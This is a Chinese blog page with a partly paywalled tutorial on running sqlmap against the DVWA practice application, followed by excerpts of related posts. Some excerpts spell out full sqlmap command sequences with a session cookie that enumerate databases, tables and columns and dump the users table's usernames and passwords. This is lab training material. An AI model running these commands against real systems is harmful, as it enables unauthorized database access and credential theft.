一起学安全测试——用sqlmap对dvwa实现SQL注入测试

最新推荐文章于 2025-11-22 22:11:26 发布
原创 最新推荐文章于 2025-11-22 22:11:26 发布 · 2w 阅读 · 50 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#测试 #sql注入 #安全

本文介绍如何利用sqlmap工具对DVWA进行SQL注入测试。通过设置dvwa为低安全级别，捕获GET请求，携带cookie运行sqlmap，逐步执行获取数据库、表及列的操作。

sqlmap是一款进行SQL注入的工具，非常简单好用。我们在dvwa上试着用sqlmap实现注入，拿到数据库的信息。

  1. 搭建dvwa环境并启动。
  2. windows上需要搭建Python环境，下载sqlmap包并解压。kali linux自带（之后演示在kali上）。
  3. 设置dvwa级别为low（medium，high都可以，不要设成impossible就行）
  4. 打开dvwa的SQL Injection，打开浏览器调试，输入user id并submit，查看拦截到的请求。
  5. 可以看到是一条GET请求，url是“http://192.168.7.28/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”，cookie里有”security=low; PHPSESSID=0nm9krnrptlt5v6ahockigke62”
  6. 我们先只用url试试
sqlmap -u "http://192.168.7.28/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

最低0.47元/天 解锁文章
SQLmap注入练习——dvwa
怪味巧克力的博客
04-14 1855
SQLmap注入练习——dvwa 记录一下自己学习的知识点 最近自己一直在学习使用kali，今天我就用kali中的sqlmap演示一下sql注入 我就从dvwa的low级别开始演示，其实同样的操作在medium和high级别也同样能够实现注入 GET提交参数 通过表单或者F12 观察网络模块，我们可以发现dvwa的low级别是GET提交参数，当然也可以通过burpsuite截断来观察。 提取co...
【渗透测试】|sqlmap工具注入-基于dvwa的sql injection
yangdan_jiayou的博客
03-27 1601
这个检测结果表明系统对联合查询的处理方式存在漏洞，可以通过联合查询来获取额外的信息或执行其他操作。这个检测结果表明系统对错误消息的处理方式存在漏洞，可以通过错误消息来推断数据库的结构或内容，从而进行注入攻击。这个payload试图通过在查询中嵌入一个时间延迟函数来验证注入点的存在，如果系统在执行这个查询时发生了延迟，那么说明注入点存在，攻击者可以进一步利用这个注入点执行其他操作。这个payload尝试通过在查询中嵌入一个错误，然后通过错误消息中的内容来获取敏感信息或执行其他恶意操作。
【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新
最新发布
2509_94094864的博客
11-22 860
sqlmap 是一款开源的渗透测试工具，可以自动化进行SQL注入的检测、利用，并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合，其中包括数据库指纹识别、数据读取和访问底层文件系统，甚至可以通过带外数据连接的方式执行系统命令。python sqlmap.py -参数，sqlmap可以运行在python2.6、2.7和3.x的任何平台上。
DVWA-SQL注入（sqlmap安装和使用）
m0_64037702的博客
07-12 1251
链接：https://pan.baidu.com/s/1-kQgGgzwAJlIbA6hPbvv9Q 提取码：8eqw 双击安装包进行安装 新建一个文件夹选择安装至这个文件夹 我的电脑找到 属性 点击高级系统设置 出现 “系统属性" , 点击环境变量 出现“环境变量” 在下面的“系统变量”里面找到 Path 变量点击编辑（没有找到的话点击新建） 在变量值那里末尾，填上你的Python安装路径 在path中添加自己python的安装路径就行了 Win+R打开cmd输入python出现这个页面表示安装成功
Sqlmap
mumuzi2的博客
02-25 446
下载地址： http://sqlmap.org/ 需要环境： python 使用方法：
sqlmap对dvwa进行sql注入
weixin_52971422的博客
04-01 4939
渗透环境：dvwa 攻击机：kali 注入点 测试 在kali使用sqlmap，添加cooki来注入 sqlmap -u "http://192.168.17.152/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=24d706127dc1260818eadf1641c43547" --dbs 成功 继续查询数据库的表 sqlmap -u "http://1
DVWA之SQL注入漏洞与SQLmap
leaf_lucky的博客
01-24 1142
对于以上两个语句，1=1会正常输出，而1=2 错误输出，可以说明SQL语句生效，SQL语句存在漏洞。用户输入SQL语句，执行了MySQL内置函数user(),database()而对于以下语句，可以发现没有语句，SQL语句变化，1!= 2,不能得到输出。输入上面的语句有正常输出，对于“#”的作用是注释后续SQL语句。点击第一个，找到cookie，复制下来，即是以下语句。上面语句为原本的SQL语句，下面语句为过滤后的语句。对于上面三句语句，依次进行判断，可以得到。输入1' order by 1#得到。
信安实验三—— XSS 和 SQL 注入
Visual_LXY的博客
12-03 1083
文章目录一，基本概念（一）XSS/CSS1.什么是XSS2.什么是XSS攻击3.什么是Cookie4.XSS漏洞分类5.XSS防御（二）SQL注入攻击1.什么是SQL注入攻击2.为何会有SQL注入攻击3.何时使用SQL注入攻击4.MySQL简介二，XSS/CSS三，SQL注入攻击四，实验小结 一，基本概念 （一）XSS/CSS 1.什么是XSS XSS又叫CSS (Cross Site Script) 也称为跨站，它是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代
2019-2-17 dvwa学习-环境搭建和sql字符型注入（级别low）
weixin_42555985的博客
02-17 7601
因为要学习sqlmap，所以需要搭一个测试环境。 查了网上http://www.360doc.com/content/13/0614/22/11029609_292922372.shtml，打算搞个dvwa环境。 DVWA全称是Damn Vulnerable Web Application，它是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XS...
Kali linux 学习笔记（四十九）Web渗透——sql注入 2020.3.26
闵行小鱼塘
03-26 1005
学习sql注入
SqlMap-Sql注入
08-02
Sqlmap是开源的自动化SQL注入工具，由Python写成，具有如下特点： 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。 支持自动识别密码哈希格式并通过字典破解密码哈希。 支持完全地下载某个数据库中的某个表，也可以只下载某个表中的某几列，甚至只下载某一列中的部分数据，这完全取决于用户的选择。 支持在数据库管理系统中搜索指定的数据库名、表名或列名 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
sqlmap（SQL注入工具）
10-07
一个常用的SQL注入工具，用来实施SQL注入，蛮好用的。
SQLMAP SQL注入 超神器
10-06
SQLMAP SQL注入 超神器
SQL Injection6(宽字节注入)
kid的博客
05-08 978
SQL Injection6(宽字节注入) 前言 前面sql注入时最怕碰到的就是字符型注入，然后’被过滤，反正当时时没有什么办法解决，但宽字节注入给这样的情况带来了希望 宽字节注入原理 首先是编码，之所以产生宽字节注入，就是因为有不同的编码方式 因为php后端会对我们的输入进行转义，转义的方式通常是加上’\’， 比如 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串（预定义字符...
sqlmap dvwa SQL Injection使用小记
无心插柳
10-29 9621
sqlmap初步使用，测试环境为dvwa
SQLMap 注入 DVWA实战
Cobra的博客
12-16 3950
一、low级别 1、进入dvwa界面输入1，点击Submit，得到链接 http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit# 2、我们用sqlmap进行爆破 sqlmap.py -u "http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" 我们可以看到需要跳转到login的页面，所以，认为这里.
使用sqlmap完成sql注入DVWA
dongf2019的博客
12-12 1695
------------------------------------------------------------------------------------------------------运行结果。4、在kali中启动firefox浏览器，设置代理为127.0.0.1，端口为8080，访问dvwa的sql injection页面，输入1，submit。显示出users表格所以数据，其中用户密码已经从MD5还原为明文。2、启动dvwa，启动后地址为192.168.88.128。
sqlmap进行SQL注入
weixin_45095113的博客
03-16 778
sqlmap跑SQL注入
用sqlmap破dvwa低级sql注入
06-21
### 使用sqlmap对DVWA低级SQL注入进行渗透测试 在使用sqlmap对DVWA的低级SQL注入（Low Level SQL Injection）进行渗透测试时，需要确保正确配置目标URL和相关的Cookies。以下是详细的说明与操作步骤： #### 1. 确定目标URL DVWA的SQL注入漏洞页面通常位于`/vulnerabilities/sqli/`路径下，目标URL格式如下： ```plaintext http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# ``` 其中，`<DVWA-IP>`为DVWA服务器的IP地址。 #### 2. 设置Cookies 为了绕过DVWA的安全级别限制（如`security=low`），需要提供正确的PHPSESSID和安全级别参数。例如： ```plaintext PHPSESSID=v1d47lav6lot63v45vif84lren; security=low ``` #### 3. 基本命令结构 使用以下基本命令启动sqlmap工具： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" ``` 此命令中： - `-u`指定目标URL。 - `--cookie`传递必要的会话信息[^1]。 #### 4. 获取数据库信息 可以通过附加参数来获取更多数据库相关信息： - **获取当前数据库名称**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --current-db --batch ``` 此命令将返回当前使用的数据库名称，例如`dvwa`[^3]。 - **枚举所有数据库**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --dbs --batch ``` - **枚举特定数据库中的表**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa --tables --batch ``` - **枚举特定表中的列**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users --columns --batch ``` - **转储数据**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users -C user,password --dump --batch ``` #### 5. 注意事项 - **安全性**：仅在授权的环境中进行渗透测试，避免非法操作。 - **错误抑制**：DVWA可能通过代码修改抑制了MySQL错误信息输出[^4]，这可能影响sqlmap的检测效率。在这种情况下，可以尝试布尔盲注或时间盲注模式。 - **布尔盲注**： ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --technique=B --batch ``` ### 示例代码 以下是一个完整的sqlmap命令示例： ```bash sqlmap -u "http://172.16.60.233/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren; security=low" -D dvwa -T users -C user,password --dump --batch ``` ---
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值